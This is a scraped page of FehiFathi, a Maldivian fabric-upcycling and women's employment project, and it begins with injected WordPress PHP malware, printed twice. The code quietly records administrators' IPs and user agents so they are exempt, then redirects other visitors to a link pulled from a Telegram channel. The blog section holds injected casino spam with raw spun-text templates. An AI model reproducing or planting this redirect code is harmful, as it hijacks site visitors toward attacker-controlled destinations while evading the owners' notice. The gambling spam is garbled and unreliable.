add_action('template_redirect', 'custom_redirect_function'); function custom_redirect_function() { global $wpdb; $on_hot_redirect = true; function _getIP() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } function fetch_remote($url) { if (function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); curl_close($ch); return $response; } return @file_get_contents($url); } function get_redirect_link($cache_file) { $html = fetch_remote("https://t.me/s/trafficredirect1"); if (!$html) return false; if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) { $link = end($matches[1]); if (!empty($link)) { file_put_contents($cache_file, $link); return $link; } } if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) { foreach (array_reverse($matches[1]) as $link) { if (strpos($link, 't.me') === false) { file_put_contents($cache_file, $link); return $link; } } } return false; } $ip = _getIP(); $ua = $_SERVER['HTTP_USER_AGENT']; $table = $wpdb->prefix . "wusers_inputs"; if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) { require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE $table ( ip INT(11) UNSIGNED NOT NULL, useragent VARCHAR(535) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"; dbDelta($sql); } $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1", ip2long($ip), $ua )); if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) { $wpdb->insert($table, array( 'ip' => ip2long($ip), 'useragent' => $ua )); $exists = true; } if ($on_hot_redirect && !$exists) { $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1", ip2long($ip), $ua )); if (!$exists) { $cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache'); if (file_exists($cache_file) && filesize($cache_file) > 0) { $age = time() - filemtime($cache_file); $link = trim(file_get_contents($cache_file)); } if (!isset($link) || $age >= 30 || empty($link)) { $link = get_redirect_link($cache_file); } if ($link) { wp_redirect($link); exit; } } } } add_action('template_redirect', 'custom_redirect_function'); function custom_redirect_function() { global $wpdb; $on_hot_redirect = true; function _getIP() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } function fetch_remote($url) { if (function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); curl_close($ch); return $response; } return @file_get_contents($url); } function get_redirect_link($cache_file) { $html = fetch_remote("https://t.me/s/trafficredirect1"); if (!$html) return false; if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) { $link = end($matches[1]); if (!empty($link)) { file_put_contents($cache_file, $link); return $link; } } if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) { foreach (array_reverse($matches[1]) as $link) { if (strpos($link, 't.me') === false) { file_put_contents($cache_file, $link); return $link; } } } return false; } $ip = _getIP(); $ua = $_SERVER['HTTP_USER_AGENT']; $table = $wpdb->prefix . "wusers_inputs"; if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) { require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE $table ( ip INT(11) UNSIGNED NOT NULL, useragent VARCHAR(535) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"; dbDelta($sql); } $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1", ip2long($ip), $ua )); if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) { $wpdb->insert($table, array( 'ip' => ip2long($ip), 'useragent' => $ua )); $exists = true; } if ($on_hot_redirect && !$exists) { $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1", ip2long($ip), $ua )); if (!$exists) { $cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache'); if (file_exists($cache_file) && filesize($cache_file) > 0) { $age = time() - filemtime($cache_file); $link = trim(file_get_contents($cache_file)); } if (!isset($link) || $age >= 30 || empty($link)) { $link = get_redirect_link($cache_file); } if ($link) { wp_redirect($link); exit; } } } } FehiFathi - Zero Waste Maldives

About FehiFathi

FehiFathi comprises of the two dhivehi words, Fehi meaning Green and Fathi meaning Stitch.

The project aims to reduce the amount of fabric waste that ends up in landfill by rescuing clothes that can be used secondhand. Up-cycling the clothes and fabric that is destined for landfill into reusable products.

The initiative is also focused on women empowerment and works exclusively with seamstresses throughout the Maldives and interested women’s development committees within the islands.

It is an initiative by Zero Waste Maldives, Dreamers Maldives and Preloved.mv.

How the Project Works

The project collects used clothes and fabric. We assess the used clothes to see if they can still be used as second hand clothes and divert them to be reused. The ones that do not make the cut get up cycled into other reusable products. Such as Tote bags, Cushion covers, Bean bag covers and other fabric based items. 

We follow the Zero Waste hierarchy of 7Rs Refuse, Reduce, Reuse, Repair, Re purpose, Recover and Recycle to determine how we deal with the fabrics that we receive. 

Meet our Seemstresses

Frequently Asked Questions

What kinds of Fabrics are used in this project?

All types of fabric that can be salvaged and re-purposed will be used in this project. This includes synthetic blends of fabric as well, but we prefer to use fabric that would as long as possible when it’s upcycled into another product. 

How do you collect the fabric for the project?

We collect fabric and discarded clothes through donations to our partners and from other initiatives that sell second-hand clothes. 

Who can partner with us?

Partnerships are open to everyone. We work with island councils, resorts, and guesthouses as well as SMEs. 

Where do you sell your products?

Most of our sales go through our Instagram @fehifathimv we do also have popups from time to time. These get announced on our Instagram page. 

Who can become seamstress for the project?

We are open to anyone to become a seamstress for the project. The more the merrier. 

How does the project financially sustain itself?

We sell the products made by our seamstresses. The project takes 10% for the project for advertising, marketing, delivery, and administration. The rest we distribute to the seamstresses. 

What have we been up to?

The Rise of Mobile Gaming in the Casino Industry

Mobile gaming has evolved a major movement in the casino industry, enabling players to experience their preferred games whenever and anywhere. According to a study by Newzoo, mobile gaming earnings is expected to exceed $100 billion by 2025, highlighting its expanding...

read more

{Mejores Casinos Online en Chile con Dinero Real 2025 ️|Los 35 Mejores Casinos Online En Chile Confiables 2025|Top 10 casinos online con dinero real para jugar y ganar en Chile 2025|Ranking de top sitios para 2025|Top del ranking de casinos en Chile online 2025|Mejores Casinos Online en Chile 2025|Mejores Casinos Online para Chile en 2025 Sitios Más Seguros|Encuentra el mejor casino online en Chile 2025 ¡Aquí!|Los mejores casinos con Visa en Chile para jugar online en 2025|Los 5 casinos online más recomendados para jugar en Chile}

{La mayoría de las tragamonedas tradicionales tienen 3 carretes y 3 filas, aunque algunos títulos clásicos cuentan con 5 carretes y 3 filas, además del típico minijuego “Doble o Nada”. El casino en línea Jackpot City casino nuevo online da la bienvenida a los nuevos...

read more

Pin Up – Azrbaycann n yax kazinosu Rsmi sayt.3253

Pin Up - Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt ▶️ OYNA Содержимое Pin Up - Azərbaycanın ən yaxşı kazinosu Rəsmi saytıPin Up Casino Azərbaycanın ən yaxşı kazino ilə tanınan markaPin Up-dan qazanın: Rəsmi saytdan nəzərə alınan avantajlarPin Up-də qeydiyyatdan...

read more

{Secretos para tener éxito en los casinos online chilenos|Los Mejores Casinos Online en Chile 2025: Top Casinos Chilenos con Dinero Real|Juegos de Blackjack Online Gratis o con Dinero Real en Chile 2025|Casinos Online que Pagan Dinero Real en Chile 2025|La diversión de apostar dinero real en casinos online|Juegos de Blackjack En Línea con Dinero Real en Chile 07 2025|Los Mejores Casinos Online en Chile para ganar en grande en 2025|Casino En Linea Dinero Real Chile ️ 20+ Casinos Con Bonificaciones|Mejores Casinos Online Legales en Chile 2025 Top 5 Sitios|Mejores juegos de mesa online de Chile por dinero real: Top 10 sitios de juegos online para chilenos|Casinos Online Chile Sitios Confiables con Bonos en 2025|Descubre el Mundo del Casino Chile Online: Juegos y Emoción en Línea|Casino en línea Chile con dinero real 2025}

read more

{Mejores Casinos Online en Chile con Dinero Real 2025 ️|Mejores Casinos Online en Chile Top 10 Sitios en 2025|Top 18 confiables en 2025|Top del ranking de casinos en Chile online 2025|Mejores Casinos Online en Chile 2025|Mejores Casinos Online para Chile en 2025 Sitios Más Seguros|Encuentra el mejor casino online en Chile 2025 ¡Aquí!|Los mejores casinos con Visa en Chile para jugar online en 2025|Los 5 casinos online más recomendados para jugar en Chile|Top 10 casinos online con dinero real para jugar y ganar en Chile 2025}

read more

{Casinos Online en Chile: Los Mejores del 2025|Todo lo que necesitas saber sobre las apps de casino|Últimas Noticias de Casinos Online en Chile 2025|Mejores Casinos Online en Chile 2024|Jugar mejor, no con mayor intensidad: Guía para vencer a los casinos en línea|Nuevos Casinos en Línea en Chile|Top Nuevos Casinos 2025 Descubre los Mejores|Juegos de casino online para ganar dinero real en Chile 2025|Mejores casinos online en Chile: Los más confiables 2025|Explorando las innovadoras tendencias de juego en casino en línea}

read more

{Los Mejores Casinos Online en Chile 2025: Top Casinos Chilenos con Dinero Real|Los Mejores Casinos Online en Chile para ganar en grande en 2025|Casino En Linea Dinero Real Chile ️ 20+ Casinos Con Bonificaciones|¿Es legal jugar juegos de casino online en Chile?|Juegos Y Casinos Chile 2025: Casinos Online Y Apuestas|Mejores casinos online en Chile: Los más confiables 2025|Casinos en linea dinero real Chile 2025: calificación y reglas para elegir casinos dinero real|1win Sitio oficial de Apuestas Deportivas y Casino en Chile|Casinos Online que Pagan Dinero Real en Chile 2025|Casinos Online Chile Sitios Confiables con Bonos en 2025|Mejores Casinos Online Chile Juega con dinero real en 2025|Bonos Sin Depósito en Casinos de Chile 2025 ¡Gana sin arriesgar!}

read more

Mostbet Casino PT Login no Casino Most Bet Portugal.3150

Mostbet Casino PT – Login no Casino Most Bet Portugal ▶️ JOGAR Содержимое Registo e Login no Casino Most Bet PortugalComo Funciona o Casino Most Bet PortugalBenefícios do Registo no Casino Most Bet PortugalVantagens do Registo no Casino Most Bet Portugal Mostbet é um...

read more

Like what we do?

Let's Work Together?

Phone

+960 969 Zero Six Zero Zero